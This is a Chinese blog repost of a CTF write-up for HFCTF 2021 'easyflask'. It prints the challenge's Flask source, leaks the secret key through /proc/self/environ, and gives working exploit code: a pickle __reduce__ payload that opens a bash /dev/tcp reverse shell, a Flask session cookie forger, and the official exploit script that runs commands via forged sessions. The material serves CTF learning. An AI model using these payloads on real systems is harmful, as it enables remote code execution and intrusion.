IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Python知识库 -> [HFCTF 2021 Final]easyflask -> 正文阅读

[Python知识库][HFCTF 2021 Final]easyflask

考点:

? ? ? ? pickle反序列化

? ? ? ? session伪造

开局:

? ? ? ? 开局直接给了提示/file?file=index.js

? ? ? ? 进入又提示了/app/source,然后就得到一坨

? ? ? ? 整理一下得

#!/usr/bin/python3.6 
import os 
import pickle 

from base64 import b64decode 
from flask import Flask, request, render_template, session 

app = Flask(__name__) 
app.config["SECRET_KEY"] = "*******" 

User = type('User', (object,), { 
    'uname': 'test', 
    'is_admin': 0, 
    '__repr__': lambda o: o.uname, 
})


@app.route('/', methods=('GET',)) 
def index_handler(): 
    if not session.get('u'): 
        u = pickle.dumps(User()) 
        session['u'] = u 
    return "/file?file=index.js" 


@app.route('/file', methods=('GET',)) 
def file_handler(): 
    path = request.args.get('file') 
    path = os.path.join('static', path) 
    if not os.path.exists(path) or os.path.isdir(path) \
        or '.py' in path or '.sh' in path or '..' in path or "flag" in path: 
        return 'disallowed' 
    
    with open(path, 'r') as fp: 
        content = fp.read() 
    return content 
        
@app.route('/admin', methods=('GET',)) 
def admin_handler(): 
    try: 
        u = session.get('u') 
        if isinstance(u, dict): 
            u = b64decode(u.get('b')) 
        u = pickle.loads(u) 
    except Exception: 
        return 'uhh?' 
        
    if u.is_admin == 1: 
        return 'welcome, admin' 
    else: 
        return 'who are you?' 
        

if __name__ == '__main__': 
    app.run('0.0.0.0', port=80, debug=False)

?????????明显的admin下pickle反序列化

? ? ? ? 在/file路由下,读取/proc/self/environ得到key

secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh

? ? ? ? ?上反序列化脚本

import os
import pickle
from base64 import b64encode


User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 1,
    '__repr__': lambda o: o.uname,
    '__reduce__': lambda o: (os.system,("bash -c 'bash -i >& /dev/tcp/ip/20 0>&1'",))
})

u = pickle.dumps(User())
print(b64encode(u).decode())

注意这里win下和linux下运行这个脚本的结果不同 python3和python2下运行结果也不同 我在python2下面似乎成功了一次

?伪造session:

? ? ? ? 看见wp很多师傅用的flask-unsign但我没成功,也有用flask-session-manage的,我也没用成功 然后就用了一个脚本

""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e


if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

?这个也是在linux python3下我好像成功了一次

然后用这个伪造session去访问/admin路由 抓包 反弹shell就完事了

还有一个官方的exp 简单粗暴

import base64
import pickle
from flask.sessions import SecureCookieSessionInterface
import re
import pickletools
import requests

url = "http://f467c348-ba1b-4d54-bd8e-ed65c81db22b.node4.buuoj.cn:81/file?file=/app/source"

def get_secret_key():
    target = url + "/file?file=/proc/self/environ"
    r = requests.get(target)
    key = re.findall('key=(.*?)OLDPWD',r.text)
    return str(key[0])

secret_key = get_secret_key()
#secret_key = "glzjin22948575858jfjfjufirijidjitg3uiiuuh"

#print(secret_key)


class FakeApp:
    secret_key = secret_key

class User(object):
    def __reduce__(self):
        import os
        cmd = "cat /flag > /tmp/test1"
        return (os.system,(cmd,))

exp = {
    "b":base64.b64encode(pickle.dumps(User()))
}
print(exp)

fake_app = FakeApp()
session_interface = SecureCookieSessionInterface()
serializer = session_interface.get_signing_serializer(fake_app)
cookie = serializer.dumps(
    {'u':exp}
)
print(cookie)

headers = {
    "Accept":"*/*",
    "Cookie":"session={0}".format(cookie)
}

req = requests.get(url+"/admin",headers=headers)

req = requests.get(url+"/file?file=/tmp/test1",headers=headers)

print(req.text)

同样这个脚本是在linux下python3下运行

结语:

? ? ? ? 至于我为什么说是我好像成功一次?

中间有 一个 ls

cat /flag

是我看见反弹shell成功了

但是不知道为啥就没了

可能session不行了

然后我又去试 试试就试到了现在

我是真的大无语 可能是靶机的问题 也可能是我的问题

反正就是没反弹shell成功

我就真的放弃了

再折腾这个题下去这周就没了 我真的大服气

上面这个图还是我bp抓包后发现不行 去用hackbar做 然后就无语了我

反正就是耗时间 我是不干了

开摆了?

?

  Python知识库 最新文章
Python中String模块
【Python】 14-CVS文件操作
python的panda库读写文件
使用Nordic的nrf52840实现蓝牙DFU过程
【Python学习记录】numpy数组用法整理
Python学习笔记
python字符串和列表
python如何从txt文件中解析出有效的数据
Python编程从入门到实践自学/3.1-3.2
python变量
上一篇文章      下一篇文章      查看所有文章
加:2022-08-06 10:40:12  更:2022-08-06 10:40:43 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/26 14:56:40-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计